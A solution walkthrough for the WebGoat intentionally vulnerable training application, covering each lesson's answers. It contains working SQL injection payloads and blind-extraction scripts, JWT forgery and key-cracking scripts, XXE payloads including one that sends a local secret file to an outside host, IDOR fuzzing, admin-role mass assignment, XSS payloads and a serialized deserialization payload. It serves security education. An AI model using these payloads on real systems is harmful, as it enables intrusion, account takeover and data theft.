(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki
Written by Pierre-Arnaud Laporte
Read this in other languages: Français.
- Introduction:
- General:
- (A1) Injection:
- (A2) Broken Authentification:
- (A3) Sensitive Data Exposure:
- (A4) XML External Entities (XXE):
- (A5) Broken Access Control:
- (A7) Cross-Site Scripting (XSS):
- (A8) Insecure Deserialization:
- (A9) Vulnerable Components:
- (A8:2013) Request Forgery:
- Client side:
- Challenges:
Read the lesson.
There is a bug on WebWolf that prevents access to Mailbox.
- Send an email to
{user}@...
. - Go to http://host:port/WebWolf.
- Log in and go read the mail received.
- Send an email to
{user}@...
- Go to http://host:port/WebWolf/requests.
- Observe the
uniqueCode
parameter in the query and enter its value on WebGoat.
Type in your name and press 'go'
Enter your name and press Go!.
Turn on Show Parameters or other features
Try to intercept the request with OWASP ZAP
- Open the Development Tools in the browser, and go to the Network tab.
- Fill out the fields on WebGoat with
POST
orGET
and a random number, and click on Go!. - Locate the query to
attack2
in the Network tab and click on Edit and Resend. - Retrieve the
magic_num
in the body of the request, find that the request is aPOST
and click again on Go! with the correct parameters.
- Open the Development Tools in the browser, and go to the Network tab.
- Click on Submit without editing the parameter.
- Locate the query to
intercept-request
in the Network tab and click on Edit and Resend. - Change the
POST
method toGET
. - Change the URL from http://host:port/WebGoat/HttpProxies/intercept-request to http://host/WebGoat/HttpProxies/intercept-request?changeMe=Requests%20are%20tampered%20easily
- Add in the request header
x-request-intercepted: true
. - Clear the body of the query.
1. How could an intruder harm the security goal of confidentiality?
Solution 3: By stealing a database where names and emails are stored and uploading it to a website.
2. How could an intruder harm the security goal of integrity?
Solution 1: By changing the names and emails of one or more users stored in a database.
3. How could an intruder harm the security goal of availability?
Solution 4: By launching a denial of service attack on the servers.
4. What happens if at least one of the CIA security goals is harmed?
Solution 2: The systems security is compromised even if only one goal is harmed.
- Open the Development Tools in the browser, and go to the Console tab.
- Enter
webgoat.customjs.phoneHome()
in the console.
Contrary to what the hints say, the name of the request is not dummy
, but network
.
Clear all Requests from the network button, then make the request. The you should be able to figure out, which request holds the data.
The name of the request is "dummy"
- Open the Development Tools in the browser, and go to the Network tab.
- On WebGoat click on Go!.
- Locate the query to
network
in the Network tab and click on Parameters.
You want the data from the column with the name department. You know the database name (employees) and you know the first- and lastname of the employee (first_name, last_name).
SELECT column FROM tablename WHERE condition;
Use ' instead of " when comparing two strings.
Pay attention to case sensitivity when comparing two strings.
SQL query: SELECT department FROM employees WHERE first_name='Bob'
Try the UPDATE statement
UPDATE table name SET column name=value WHERE condition;
SQL query: UPDATE employees SET department='Sales' WHERE first_name='Tobi'
ALTER TABLE alters the structure of an existing database
Do not forget the data type of the new column (e.g. varchar(size) or int(size))
ALTER TABLE table name ADD column name data type(size);
SQL query: ALTER TABLE employees ADD phone varchar(20)
Look at the example. There is everything you will need.
SQL query: GRANT ALTER TABLE TO UnauthorizedUser
Remember that for an successful Sql-Injection the query needs to always evaluate to true.
SELECT * FROM users_data FIRST_NAME = 'John' and Last_NAME = ' '
+ or
+ '1'='1
Try to check which of the input fields is susceptible to an injection attack.
Insert: 0 or 1 = 1 into the first input field. The output should tell you if this field is injectable.
The first input field is not susceptible to sql injection.
You do not need to insert any quotations into your injection-string.
-
Login_count:
0
-
User_Id:
0 OR 1=1
The application is taking your input and inserting the values into the variables 'name' and 'auth_tan' of the pre-formed SQL command.
Compound SQL statements can be made by expanding the WHERE clause of the statement with keywords like AND and OR.
Try appending a SQL statement that always resolves to true.
Make sure all quotes (" ' ") are opened and closed properly so the resulting SQL query is syntactically correct.
Try extending the WHERE clause of the statement by adding something like: ' OR '1' = '1.
-
Employee Name:
A
-
Authentication TAN:
' OR '1' = '1
Try to find a way, to chain another query to the end of the existing one.
Use the ; metacharacter to do so.
Make use of DML to change your salary.
Make sure that the resulting query is syntactically correct.
How about something like '; UPDATE employees....
-
Employee Name:
A
-
Authentication TAN:
'; UPDATE employees SET salary=99999 WHERE first_name='John
Use the techniques that you have learned before.
The application takes your input and filters for entries that are LIKE it.
Try query chaining to reach the goal.
The DDL allows you to delete (DROP) database tables.
The underlying SQL query looks like that: "SELECT * FROM access_log WHERE action LIKE '%" + action + "%'".
Remember that you can use the -- metacharacter to comment out the rest of the line.
Action contains: %'; DROP TABLE access_log;--
Remember that when using an UNION each SELECT statement within UNION must have the same number of columns.
The data type of a column in the first SELECT statement must have a similar data type to that in the second SELECT statement.
Your new SQL query must end with a comment. eg: --
If a column needs a String you could substitute something like 'a String' for it. For integers you could substitute a 1.
- Name:
'; SELECT * FROM user_system_data;--
or' UNION SELECT 1, user_name, password, cookie, 'A', 'B', 1 from user_system_data;--
- Password:
passW0rD
Look at the different response you receive from the server
The vulnerability is on the register form
The vulnerable field is the username field of the register form.
Use tooling to automate this attack
The table name is randomized at each start of WebGoat, try to figure out the name first.
Change the password through an UPDATE Statement.
As specified in the hints, it is possible to change the password using an UPDATE
. It is also possible to find the original password as we will see in the proposed solution.
- The Login form does not appear to provide any useful outputs from a variety of inputs, but the Register form allows us to check whether a username already exists.
- If we try to register with the following username:
tom' AND '1'='1
we find that the username is taken. - We can use this as an oracle and check what Tom's password is one at a time.
- Fortunately, the table we are seeking is named
password
(guessing), so we can attempt to register with the following username:tom' AND substring(password,1,1)='t
- The response states the username already exists, we know that t is the first character of Tom's password.
- By fuzzing for the remaining characters, we can determine that Tom's password is thisisasecretfortomonly.
This challenge can be a good exercise to practice scripting. Below, a small example of Python code to find the answer:
import json
import requests
def sql_injection_advance_5():
alphabet_index = 0
alphabet = 'abcdefghijklmnopqrstuvwxyz'
password_index = 0
password = ''
headers = {
'Cookie': COOKIE,
}
while True:
payload = 'tom\' AND substring(password,{},1)=\'{}'.format(password_index + 1, alphabet[alphabet_index])
data = {
'username_reg': payload,
'email_reg': 'a@a',
'password_reg': 'a',
'confirm_password_reg': 'a'
}
r = requests.put('http://HOST:PORT/WebGoat/SqlInjectionAdvanced/challenge', headers=headers, data=data)
try:
response = json.loads(r.text)
except:
print("Wrong JSESSIONID, find it by looking at your requests once logged in.")
return
if "already exists please try to register with a different username" not in response['feedback']:
alphabet_index += 1
if alphabet_index > len(alphabet) - 1:
return
else:
password += alphabet[alphabet_index]
print(password)
alphabet_index = 0
password_index += 1
sql_injection_advance_5()
1. What is the difference between a prepared statement and a statement?
Solution 4: A statement has got values instead of a prepared statement
2. Which one of the following characters is a placeholder for variables?
Solution 3: ?
3. How can prepared statements be faster than statements?
Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.
4. How can a prepared statement prevent SQL-Injection?
Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.
5. What happens if a person with malicious intent writes into a register form :Robert); DROP TABLE Students;-- that has a prepared statement?
Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.
First establish a connection, after that you can create a statement.
SqlStringInjectionHint-mitigation-10a-10a2
The fields must contain the following words to validate the lesson: getConnection
, PreparedStatement
, prepareStatement
, ?
, ?
, setString
, setString
.
A database connection has to be surrounded by a try-catch block to handle the very common case of an error while establishing the connection.
Remember to use the right kind of statement, so your code is no longer vulnerable for SQL injections.
The wildcard symbol '?' in a prepared statement can be filled with the right kind of method. There exists one for every data type.
Make sure to execute your statement.
View the previous lesson to check back on how you can build set up a connection.
Complete the window with:
try {
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name = ?");
ps.setString(1, "Admin");
ps.executeUpdate();
} catch (Exception e) {
System.out.println("Oops. Something went wrong!");
}
-
SQLi mitigation 9
Ans = '//or//'1'='1
Buggy lesson with the last version, a call to http://localhost:8080/WebGoat/SqlInjection/servers send back an error.
Try sorting and look at the request
Intercept the request and try to specify a different order by
Use for example "(case when (true) then hostname else id end)" in the order by and see what happens
- Click on column sort performs a request to http://localhost:8080/WebGoat/SqlInjection/servers?column=ip. This can be exploited by intercepting the request with Browser Tools and providing prepared string as column value.
- To get the idea about webgoat-prd IP address we first have to find out the table name and ip column name. The obvious guess is servers and ip:
column=(CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-acc') = '192.168.3.3' THEN id ELSE hostname END)
- If that is the correct table and column name, the table will get sorted by ids.
- So after intercepting and changing the request we get the table sorted by ids, the guess was correct.
- Just to check our logic, lets send request with:
column=(CASE WHEN (SELECT ip FROM whatever WHERE hostname='webgoat-acc') = '192.168.3.3' THEN id ELSE hostname END)
- It get's an error page, we have everything to script the attack now.
import json
import requests
def sql_injection_mitigation_10():
index = 0
headers = {
'Cookie': 'JSESSIONID=id'
}
while True:
payload = '(CASE WHEN (SELECT ip FROM servers WHERE hostname=\'webgoat-prd\') LIKE \'{}.%\' THEN id ELSE hostname END)'.format(index)
r = requests.get('http://host:port/WebGoat/SqlInjectionMitigations/servers?column=' + payload, headers=headers)
try:
response = json.loads(r.text)
except:
print("Wrong JSESSIONID, find it by looking at your requests once logged in.")
return
if response[0]['id'] == '1':
print('webgoat-prd IP: {}.130.219.202'.format(index))
return
else:
index += 1
if index > 255:
print("No IP found")
return
sql_injection_mitigation_10()
TODO: Missing right now
- The verification algorithm to check the password strength can be found here https://github.com/dropbox/zxcvbn.
There is a bug on WebWolf that prevents access to Mailbox.
- Click on Forgot your password?.
- Enter the email address
{user}@...
. - Open the mail on WebWolf to retrieve the new password.
Valid credentials are: admin and green, jerry and orange, tom and purple, larry and yellow.
Read the advices.
Lesson number does not turn green on validation.
Try to send a password reset link to your own account at {user}@webgoat.org, you can read this e-mail in WebWolf.
Look at the link, can you think how the server creates this link?
Tom clicks all the links he receives in his mailbox, you can use the landing page in WebWolf to get the reset link...
The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:9090?
Intercept the request and change the host header.
For intercepting the request you have to use a proxy. Check the HTTP-Proxies Lesson in the general category if you're unfamiliar with using proxies. Important: There seem to be problems when modifying the request header with ZAP. We recommend to use Burp instead.
- Send an email to
[email protected]
and intercept the request. - Change the
Host: host:webgoat_port
header toHost: host:webwolf_port
and return a request. - On WebWolf, go to Incoming requests, retrieve the variable
path
and go to the URL http://host:webgoat\_port/WebGoat/path . - Change the password and validate the challenge with the latter.
The attack on this is similar to the story referenced, but not exactly the same.
You do want to tamper the security question parameters, but not delete them
The logic to verify the account does expect 2 security questions to be answered, but there is a flaw in the implementation
Have you tried renaming the secQuestion0 and secQuestion1 parameters?
- Open the Development Tools in the browser, and go to the Network tab.
- Click on Submit without parameters.
- Locate the query to
verify-account
in the Network tab and click on Edit and Resend. - Modify the parameters
secQuestion0=&secQuestion1=&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=yourid
tosecQuestion2=&secQuestion3=&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=yourid
.
Lesson used to not turn green on validation, but is confirmed to do so in version M26.
Select a different user and look at the token you receive back, use the delete button to reset the votes count
Decode the token and look at the contents
Change the contents of the token and replace the cookie before sending the request for getting the votes
Change the admin field to true in the token
Submit the token by changing the algorithm to None and remove the signature
- Open the Development Tools in the browser, and go to the Network tab.
- Log in as Tom on WebGoat and click on Reset Votes.
- Locate the query to
reset
in the Network tab and click on Headers. - Notice the header:
Cookie: access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NjQ0MDIyNDQsImFkbWluIjoiZm
Fsc2UiLCJ1c2VyIjoiVG9tIn0._gPSRvB9wAAruFwaDgivXp4n5rHQFi5hTOJsVFqCkR9ZDUf3LhCgJQ
uTIIpTGnZIS3XWL9MHZGaExJC7XhIiXA
- In base64, this is decoded as:
{"alg":"HS512"}.{"Iat":1564402244,"admin":"false","user":"Tom"}.signature
. - Edit it to
{"alg": null}.{"Iat":1564402244,"admin":"true","user":"Tom"}.
. - Re-encode it to base64 (
eyJhbGciOiBudWxsfQ.eyJpYXQiOjE1NjQ0MDIyNDQsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.
). (Pure base64 encoding might give paddings with '==' which will mess up the jwt library used in WebGoat, this is cleaned up) - Click on Modify and Resend, modify the cookie with the newly generated value and send again the request.
Save the token and try to verify the token locally
Download a word list dictionary (https://github.com/first20hours/google-10000-english)
Write a small program or use HashCat for brute forcing the token according the word list
It is possible to validate this challenge with tools like johntheripper and https://jwt.io/, but in order to get a better understanding of the whole process, here a Python script.
- Isolate the signature, and reformat it correctly.
- Use each word of the dictionary as a key, calculate the HMAC of the initial message, convert it to base64, and compare it with the signature.
- If there is a match, the dictionnary word is the key used (value found : victory).
- Then calculate the new signature with the modified message
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJ
pYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ
0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0LmN
vbSIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.dImA6LEwQc1-ZqVP
WWGE01u1jO2a-yfx8lZetbDqiTc
import base64
import hashlib
import hmac
def jwt_tokens_5():
token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM'.split('.')
payload = '{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"[email protected]","username":"WebGoat","Email":"[email protected]","Role":["Manager","Project Administrator"]}'.encode()
unsigned_token = (token[0] + '.' + token[1]).encode()
# signature is base64 URL encoded and padding has been removed, so we must add it
signature = (token[2] + '=' * (-len(token[2]) % 4)).encode()
with open('google-10000-english-master/google-10000-english.txt', 'r') as fd:
lines = [line.rstrip('\n').encode() for line in fd]
def hmac_base64(key, message):
return base64.urlsafe_b64encode(bytes.fromhex(hmac.new(key, message, hashlib.sha256).hexdigest()))
for line in lines:
test = hmac_base64(line, unsigned_token)
if test == signature:
print('Key: {}'.format(line.decode()))
new_token = (token[0] + '.' + base64.urlsafe_b64encode(payload).decode().rstrip('=')).encode()
new_signature = hmac_base64(line, new_token)
new_token += ('.' + new_signature.decode().rstrip('=')).encode()
print('New token: {}'.format(new_token.decode()))
return
jwt_tokens_5()
This challenge doesn't provide enough information to be completed. By looking into the source code, we can find the following has to be done: Make a POST
request to http://host:port/WebGoat/JWT/refresh/login with header Content-Type: application/json
and content {"user":"Jerry","password":"bm5nhSkxCXZkKRy4"}
to obtain a <jerry_refresh_token>
.
Lesson number does not turn green on validation.
Look at the access log you will find a token there
The token from the access log is no longer valid, can you find a way to refresh it?
The endpoint for refreshing a token is 'jwt/refresh/newToken'
Use the found access token in the Authorization: Bearer header and use your own refresh token
- Find the
<tom_access_token>
from the logs. - Make a
POST
request to http://host:port/WebGoat/JWT/refresh/newToken with headerContent-Type: application/json
andAuthorization: Bearer <tom_access_token>
and content{"refresh_token":"<jerry_refresh_token>"}
- Get the
<tom_access_token_new>
. - Intercept the POST request to http://host:port/WebGoat/JWT/refresh/checkout and add header
Authorization: Bearer <tom_access_token_new>
It lacks a precision in the hints: the key is decoded as a base64 chain. Also instead of using as kid hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --
, you have to use hacked' UNION select 'ZGVsZXRpbmdUb20=' from INFORMATION_SCHEMA.SYSTEM_USERS --
Lesson number does not turn green on validation.
Take a look at the token and specifically and the header
The 'kid' (key ID) header parameter is a hint indicating which key was used to secure the JWS
The key can be located on the filesystem in memory or even reside in the database
The key is stored in the database and loaded while verifying a token
Using a SQL injection you might be able to manipulate the key to something you know and create a new token.
Use: hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS -- as the kid in the header and change the contents of the token to Tom and hit the endpoint with the new token
- Open the Development Tools in the browser, and go to the Network tab.
- On WebGoat, click on Delete.
- Locate the query to
delete
in the Network tab and click on Headers. - Notice the parameter:
token=eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOi
JXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYX
VkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycn
kiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6i
zOU638uUCi6UhiOJKYzoEZGE8
- In base64, this is decoded as:
{"typ":"JWT","kid":"webgoat_key","alg":"HS256"}.{"iss":"WebGoat Token Builder",
"iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"[email protected]",
"username":"Jerry","Email":"[email protected]","Role":["Cat"]}.signature
- Edit the first two parts of the token as
{"typ":"JWT","kid":"hacked' UNION select 'ZGVsZXRpbmdUb20=' from
INFORMATION_SCHEMA.SYSTEM_USERS --","alg":"HS256"}
and
{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,
"aud":"webgoat.org","sub":"[email protected]","username":"Tom",
"Email":"[email protected]","Role":["Cat"]}
then calculate the new signature with deletingTom
as the new key. Use the Python script below for example.
- The new token is
eyJ0eXAiOiJKV1QiLCJraWQiOiJoYWNrZWQnIFVOSU9OIHNlbGVjdCAnWkdWc1pYUnBibWRVYjIwPScg
ZnJvbSBJTkZPUk1BVElPTl9TQ0hFTUEuU1lTVEVNX1VTRVJTIC0tIiwiYWxnIjoiSFMyNTYifQ.eyJpc
3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwN
CwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiV
G9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.JrDpQmNiVI818UvO
MQgRmPkZOetw7Ic1WbPvStS2B6U
- Click on Modify and Resend, modify the token with the newly generated parameter and send again the request.
import base64
import hashlib
import hmac
def jwt_tokens_8():
def hmac_base64(key, message):
return base64.urlsafe_b64encode(bytes.fromhex(hmac.new(key, message, hashlib.sha256).hexdigest()))
header = '{"typ":"JWT","kid":"hacked\' UNION select \'ZGVsZXRpbmdUb20=\' from INFORMATION_SCHEMA.SYSTEM_USERS --","alg":"HS256"}'.encode()
payload = '{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"[email protected]","username":"Tom","Email":"[email protected]","Role":["Cat"]}'.encode()
new_token = (base64.urlsafe_b64encode(header).decode().rstrip('=') +
'.' +
base64.urlsafe_b64encode(payload).decode().rstrip('=')).encode()
new_signature = hmac_base64('deletingTom'.encode(), new_token)
new_token += ('.' + new_signature.decode().rstrip('=')).encode()
print('New token: {}'.format(new_token.decode()))
return
jwt_tokens_8()
Lesson number does not turn green on validation.
- Open the Development Tools in the browser, and go to the Network tab.
- On WebGoat, click on Log in.
- Locate the query to
start.mc
in the Network tab and click on Parameters. - Notice the parameters
{"username":"CaptainJack","password":"BlackPearl"}
.
Try submitting the form and see what happens
Use ZAP/Burp to intercept the request and try to include your own DTD
Try to include a doctype "(<!DOCTYPE...)" in the xml
The include can be as follows: ]>
Do not forget to reference the entity
In the comment you should references: &root;test
- Open the Development Tools in the browser, and go to the Network tab.
- On WebGoat, post a comment.
- Locate the query to
simple
in the Network tab and click on Edit and Resend. - Edit the body with:
<?xml version="1.0"?><!DOCTYPE comment [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;</text></comment>
.
Take a look at the content type
Does the endpoint only accept json messages?
- Open the Development Tools in the browser, and go to the Network tab.
- On WebGoat, post a comment.
- Locate the query to
content-type
in the Network tab and click on Edit and Resend. - Edit the body with:
<?xml version="1.0"?><!DOCTYPE comment [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;</text></comment>
. and edit the headerContent-Type: application/json
withContent-Type: application/xml
.
- Although it is not a challenge, a small mistake has crept into the lesson, be careful to enter the right URL to be able to perform the test.
attack.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY ping SYSTEM 'http://host:port/landing?test=HelloWorld' >
Request Body
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://host:port/files/username/attack.dtd" >
%remote;
]>
<comment>
<text>test&ping;</text>
</comment>
This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case)
In this case you cannot combine external entities in combination with internal entities.
Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
An example DTD can be found here WebGoat/https://raw.githubusercontent.com/PiAil/pwning-webgoat/master/images/example.dtd, include this DTD in the xml comment
Use for the comment, be aware to replace the url accordingly: %remote;]>test&send;
- Upload contents_file.dtd on WebWolf.
- Open the Development Tools in the browser, and go to the Network tab.
- On WebGoat, post a comment.
- Locate the query to
blind
in the Network tab and click on Edit and Resend. - Edit the body of the query as specified below.
contents_file.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://host:port/landing?%file;' >" >%all;
Request Body
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.0.0.M25/XXE/secret.txt" >
<!ENTITY % dtd SYSTEM "http://host:port/files/username/contents_file.dtd" >
%dtd;]>
<comment>
<text>test&send;</text>
</comment>
Log in first. User Name is tom, password is cat.
Identify with the provided credentials.
Lesson number does not turn green on validation.
Make sure you have logged in on the previous step/page
View the response using developer tools or a proxy.
The attributes are not visible and have nothing to do with size, color or name
Attributes are: role, userID.
Look at the previous request for profile, this is similar
You will need data from the previous request for your own profile
Append your id to the previous request (i.e. .../profile/{yourId})
- Open the Development Tools in the browser, and go to the Network tab.
- In the lesson 3, click on View Profile.
- Locate the query to
blind
in the Network tab and click on Response. - Notice the paramter userID, the expected answer is WebGoat/IDOR/profile/userID_value.
The default request here won't work at all, so you will need to manually craft the request or tamper it with a proxy
You will likely need to 'fuzz' to try different values for the userId at the end of the Url
Try incrementing the id value. It's not a simple +1, but it's also not too far off
For editing the other user's profile, you will need to use the proxy or manually craft the request again
To edit the other user's profile, you will use the same Url you did to view the other user's profile
To edit, You will need to change the method, what is the RESTful method used for 'update' or 'edit'?
You will also need the body of the request (will look something like the profile)
The request should go to ... /WebGoat/IDOR/profile/{Buffalo Bills Id}
Your payload should look something like ... {"role" : 1,"color" : "red","size" : "small","name" : "Tom Cat","userId" : "2342388"}
View Another Profile:
The script below fuzz the URL found in the previous exercise to find another profile. We find one at 2342388.
import requests
def idor_5():
index = 2342300
headers = {
'Cookie': COOKIE,
}
while True:
r = requests.get('http://192.168.99.100:8080/WebGoat/IDOR/profile/{}'.format(index), headers=headers)
if r.status_code != 500 and index != 2342384:
print("Index: {}".format(index))
return
index += 1
idor_5()
Edit Another Profile:
Send a PUT request to http://192.168.99.100:8080/WebGoat/IDOR/profile/2342388 with header Content-Type: application/json
and body {"role":1, "color":"red", "size":"large", "name":"Buffalo Bill", "userId":2342388}
You can inspect the DOM or review the source in the proxy request/response cycle.
Look for indications of something that would not be available to a typical user
Look for something a super-user or administator might have available to them
- Right-click on the Log Out element, and click on Inspect Element
- Just below in the HTML, we can see hidden fields: Users, Config.
There is an easier way and a 'harder' way to achieve this, the easier way involves one simple change in a GET request.
If you haven't found the hidden menus from the earlier exercise, go do that first.
When you look at the users page, there is a hint that more info is viewable by a given role.
For the easy way, have you tried tampering the GET request? Different content-types?
For the 'easy' way, modify the GET request to /users to include 'Content-Type: application/json'
Now for the harder way ... it builds on the easier way'
If the request to view users, were a 'service' or 'RESTful' endpoint, what would be different about it?
If you're still looking for hints ... try changing the Content-type header as in the GET request.
You also need to deliver a proper payload for the request (look at how registration works). This should be formatted in line with the content-type you just defined.
You will want to add WEBGOAT_ADMIN for the user's role. Yes, you'd have to guess/fuzz this in a real-world setting.
OK, here it is. First, create an admin user ... Change the method to POST, change the content-type to "application/json". And your payload should look something like: {"username":"newUser2","password":"newUser12","matchingPassword":"newUser12","role":"WEBGOAT_ADMIN"}
Now log in as that user and bring up WebGoat/users. Copy your hash and log back in to your original account and input it there to get credit.
- Open the Development Tools in the browser, and go to the Network tab.
- Go to http://host:port/WebGoat/users.
- Locate the query to
users
in the Network tab and click on Edit and Resend. - Add the header
Content-Type: application/json
. - Check the hash in the response.
In the left panel, the green checkbox that is supposed to appear after completing all the lessons of a topic does not appear for any of the three lessons.
Main browsers have banned Javascript from the URL bar, contrary to what the suggestion say. Open the Development Tools, and the Console tab instead.
The expected answer is Yes
.
Think about how the inputs are presumably processed by the application.
Quantity inputs are probably processed as integer values. Not the best option for inputting text right?
What information send to the application gets reflected back after being submitted?
Just try purchasing something. You want your script to be included in the purchase-confirmation.
Put <script>alert()</script>
in the box Enter your credit card number:.
To search through the client side code, use the developer tools of your browser. (If you don't know how to use them, check the Developer Tools Lesson in the general category.)
Since you are looking for application code, check the WebGoat/js/goatApp folder for a file that could handle the routes.
Make sure you add the base route at the start, when submitting your solution.
Still did not find it? Check the GoatRouter.js file. It should be pretty easy to determine.
- Open the Development Tools in the browser, and go to the Debugger tab.
- Locate the
goatApp/View/GoatRouter.js
file and open it. - Look for routes to find
'test/:param': 'testRoute'
. - The expected answer is then
start.mvc#test/
.
Open a new tab and navigate to the test-route you just figured out in the previous lesson.
Your url should look something like that http://localhost:8080/WebGoat/start.mvc#REPLACE-WITH-THE-TEST-ROUTE/some\_parameters
Note how the parameters you send to the test-route get reflected back to the page. Now add your JavaScript to it.
You have to use script tags, so your JavaScript code gets executed when being rendered into the DOM.
Since you are working with an URL, you might have to URL-encode your parameters.
Replace '/' with '%2F' in your URL parameters.
- Open the Development Tools in the browser, and go to the Console tab.
- Navigate to the URL http://host:port/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome()<%2Fscript>.
- Retrieve the number in the function output.
1. Are trusted websites immune to XSS attacks?
Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.
2. When do XSS attacks occur?
Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.
3. What are Stored XSS attacks?
Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.
4. What are Reflected XSS attacks?
Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.
5. Is JavaScript the only way to perform XSS attacks?
Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.
- Open the Development Tools in the browser, and go to the Network tab.
- Comment with
phoneHome Response is <script>webgoat.customjs.phoneHome()</script>
. - Retrieve the number in the function output.
You do not store the user input in this example. Try to encode the user's input right before you place it into the HTML document.
Make use of JavaServer Pages Standard Tag Library (JSTL) and JSP Expression Language.
Take a look at OWASP Java Encoder Project.
Do not forget to reference the tag libs and choose "e" as prefix.
- The first line shoud contain:
<%@ taglib uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %>
- Replace
<%= request.getParameter("first_name")%>
with${e:forHtml(param.first_name)}
. - Replace
<%= request.getParameter("last_name")%>
with${e:forHtml(param.last_name)}
.
Try to have a look at the AntiSamy documentation.
The following code validate the lesson.
import org.owasp.validator.html.*;
import MyCommentDAO;
public class AntiSamyController {
public void saveNewComment(int threadID, int userID, String newComment){
Policy p = Policy.getInstance("antisamy-slashdot.xml");
AntiSamy as = new AntiSamy();
CleanResults cr = as.scan(newComment, p, AntiSamy.DOM);
MyCommentDAO.addComment(threadID, userID, cr.getCleanHTML());
}
}
There was some solid work from earlier contributors on this one, which were sadly red herrings. Solution is serializing a VulnerableTaskHolder object created with parameters suitable for the system. For windows it will be something that keeps the system busy for 5 seconds, many people seem to choose to ping localhost: "ping localhost -n 5" will do nicely. For linux, a "sleep 5" gets the job done.
Windows payload: rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfjDAoXFDULkHQseHQAE3BpbmcgbG9jYWxob3N0IC1uIDV0AA5jcnVtcGV0c3dhaXRlcg==
